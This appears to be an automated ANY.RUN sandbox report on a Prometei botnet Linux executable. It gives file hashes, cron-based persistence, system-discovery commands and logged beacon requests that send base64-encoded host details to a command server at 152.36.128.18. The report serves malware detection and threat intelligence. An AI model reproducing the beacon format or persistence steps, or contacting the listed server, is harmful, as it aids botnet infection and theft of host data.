File name:

na

Full analysis: https://app.any.run/tasks/1b2ab4d6-0a93-40ff-8a3c-8d0297835725
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Malware Trends Tracker     >>>
Analysis date: May 17, 2025, 04:52:03
OS: Ubuntu 22.04.2
Tags:
prometei
botnet
Indicators:
MIME: application/x-executable
File info: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header
MD5:

C2CF1977BF7DE2827A77C7FE7E4BC559

SHA1:

E587D1ABF90DF1A7D81352FDC2682E5C7BA96D2C

SHA256:

77941CFCA206832F861FC8A28766D3EA476E1A104434B23A26C7DD0AC5773A11

SSDEEP:

12288:z3WCA0/3AkBpERwU0hC7/ezjYEi0lIw+cL6mrOgyAJ1OpIAkRjN8cvifoVjf4S2:z3E0/3AkBqwU0cLezjYEi0x3LfrOgyAi

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • na.elf (PID: 41018)

    • PROMETEI has been detected

      • crashed.dump (PID: 41047)

  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 41014)

    • Reads passwd file

      • crontab (PID: 41026)
      • crontab (PID: 41037)
      • crontab (PID: 41043)

    • Starts itself from another location

      • na.elf (PID: 41018)

    • Executes commands using command-line interpreter

      • sudo (PID: 41017)

    • Modifies Cron jobs

      • dash (PID: 41036)

    • Check the Environment Variables Related to System Identification (os-release)

      • crashed.dump (PID: 41047)

    • Checks how long the system has been running

      • dash (PID: 41057)
      • dash (PID: 41069)

    • Checks all system information (uname)

      • dash (PID: 41061)
      • dash (PID: 41073)

    • Connects to the server without a host name

      • crashed.dump (PID: 41047)

  • INFO

    • Checks timezone

      • crontab (PID: 41037)
      • crontab (PID: 41043)
      • crontab (PID: 41026)
      • uptime (PID: 41058)
      • uptime (PID: 41070)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.o | ELF Executable and Linkable format (generic) (49.8)

EXIF

EXE

CPUArchitecture: 64 bit
CPUByteOrder: Little endian
ObjectFileType: Executable file
CPUType: AMD x86-64
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
160
Monitored processes
32
Malicious processes
2
Suspicious processes
4

Behavior graph

Click at the process to see the details
dash no specs sudo no specs chown no specs chmod no specs sudo no specs na.elf no specs locale-check no specs dash no specs chmod no specs dash no specs crontab no specs tracker-extract-3 no specs dash no specs crontab no specs dash no specs crontab no specs na.elf (deleted) no specs dash no specs #PROMETEI crashed.dump dash no specs hostnamectl no specs systemd-hostnamed no specs dash no specs uptime no specs dash no specs uname no specs dash no specs hostnamectl no specs dash no specs dash no specs uptime no specs uname no specs

Process information

PID
CMD
Path
Indicators
Parent process
41013/bin/sh -c "sudo chown user /tmp/na\.elf && chmod +x /tmp/na\.elf && DISPLAY=:0 sudo -iu user /tmp/na\.elf "/usr/bin/dash—IntiFjKCklFyPMJr
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41014sudo chown user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41015chown user /tmp/na.elf/usr/bin/chown—sudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41016chmod +x /tmp/na.elf/usr/bin/chmod—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41017sudo -iu user /tmp/na.elf/usr/bin/sudo—dash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libaudit.so.1.0.0
/usr/lib/x86_64-linux-gnu/libselinux.so.1
/usr/libexec/sudo/libsudo_util.so.0.0.0
/usr/lib/x86_64-linux-gnu/libc.so.6
/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0
/usr/lib/x86_64-linux-gnu/libpcre2-8.so.0.10.4
/usr/lib/x86_64-linux-gnu/libnss_systemd.so.2
/usr/libexec/sudo/sudoers.so
/usr/lib/x86_64-linux-gnu/libpam.so.0.85.1
/usr/lib/x86_64-linux-gnu/libz.so.1.2.11
41018/tmp/na.elf/tmp/na.elf—sudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libtinfo.so.6.3
/usr/lib/x86_64-linux-gnu/libc.so.6
41019/usr/bin/locale-check C.UTF-8/usr/bin/locale-check—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41020sh -c "chmod +x /home/user/crashed\.dump"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41021chmod +x /home/user/crashed.dump/usr/bin/chmod—dash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
41025sh -c "crontab -l"/usr/bin/dash—na.elf
User:
user
Integrity Level:
UNKNOWN
Exit code:
256
Modules
Images
/usr/lib/x86_64-linux-gnu/libc.so.6
Executable files
0
Suspicious files
1
Text files
3
Unknown types
0

Dropped files

PID
Process
Filename
Type
41018na.elf/home/user/crashed.dumpo
MD5:—
SHA256:—
41018na.elf/home/user/task.crontext
MD5:—
SHA256:—
41037crontab/var/spool/cron/crontabs/usertext
MD5:—
SHA256:—
41047crashed.dump/home/user/CommIdtext
MD5:—
SHA256:—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
—
—
GET
204
185.125.190.96:80
http://connectivity-check.ubuntu.com/
unknown
—
—
whitelisted
41047
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?add=aW5mbyB7DQp2NC4wMlZfVW5peDY0JnVzZXJtb2RlDQp1YnVudHUyMg0KDQo0eCBJbnRlbChSKSBDb3JlKFRNKSBpNS02NDAwIENQVSBAIDIuNzBHSHoNCjQwMDA0MzIga0INClFFTVUNClN0YW5kYXJkIFBDIF9pNDQwRlggKyBQSUlYLCAxOTk2Xw0KDQoNClVidW50dSAyMi4wNC4yIExUUyAmIDIyLjA0LjIgTFRTIChKYW1teSBKZWxseWZpc2gpICAmIGJvb2t3b3JtL3NpZCAmIA0KDQovaG9tZS91c2VyLw0KIDA1OjUyOjEyIHVwICAzOjU2LCAgMSB1c2VyLCAgbG9hZCBhdmVyYWdlOiAwLjczLCAwLjY0LCAwLjU4fDE3NDc0NTc1MzINCkxpbnV4IHVidW50dTIyIDYuNS4wLTEwMjUtb2VtICMyNi1VYnVudHUgU01QIFBSRUVNUFRfRFlOQU1JQyBUdWUgSnVuIDE4IDEyOjM1OjIyIFVUQyAyMDI0IHg4Nl82NCB4ODZfNjQgeDg2XzY0IEdOVS9MaW51eA0KfQ0K&i=N7WZ471SR306BW28&h=ubuntu22&enckey=7AW/V0qmR8TySA9NYBVGenHhkj1diKDaoe4f4jDujRb7+BZsadwGTrdeL0x2VMmWyU/IffYshnvsjWj+jDxvebcHgF25KDV6uh3jd6JyZuC7GdZT9z7J/SUrdFA5KYQZ13h4A2auNKFhCBJJJL6XX16QPvPloFz3yAnRDP/NnAs=
unknown
—
—
unknown
41047
crashed.dump
GET
200
152.36.128.18:80
http://152.36.128.18/cgi-bin/p.cgi?r=54&i=N7WZ471SR306BW28
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
185.125.190.96:80
—
Canonical Group Limited
GB
unknown
484
avahi-daemon
224.0.0.251:5353
—
—
—
unknown
41047
crashed.dump
152.36.128.18:80
—
COASTCONNECT-01
US
unknown

DNS requests

Domain
IP
Reputation
google.com
  • 142.250.181.238
  • 2a00:1450:4001:82a::200e
whitelisted
13.100.168.192.in-addr.arpa
  • —
unknown
connectivity-check.ubuntu.com
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::2a
  • 2001:67c:1562::23
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::98
  • 2620:2d:4002:1::196
  • 2620:2d:4000:1::96
  • 2620:2d:4000:1::97
  • 2001:67c:1562::24
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::198
whitelisted

Threats

No threats detected
No debug info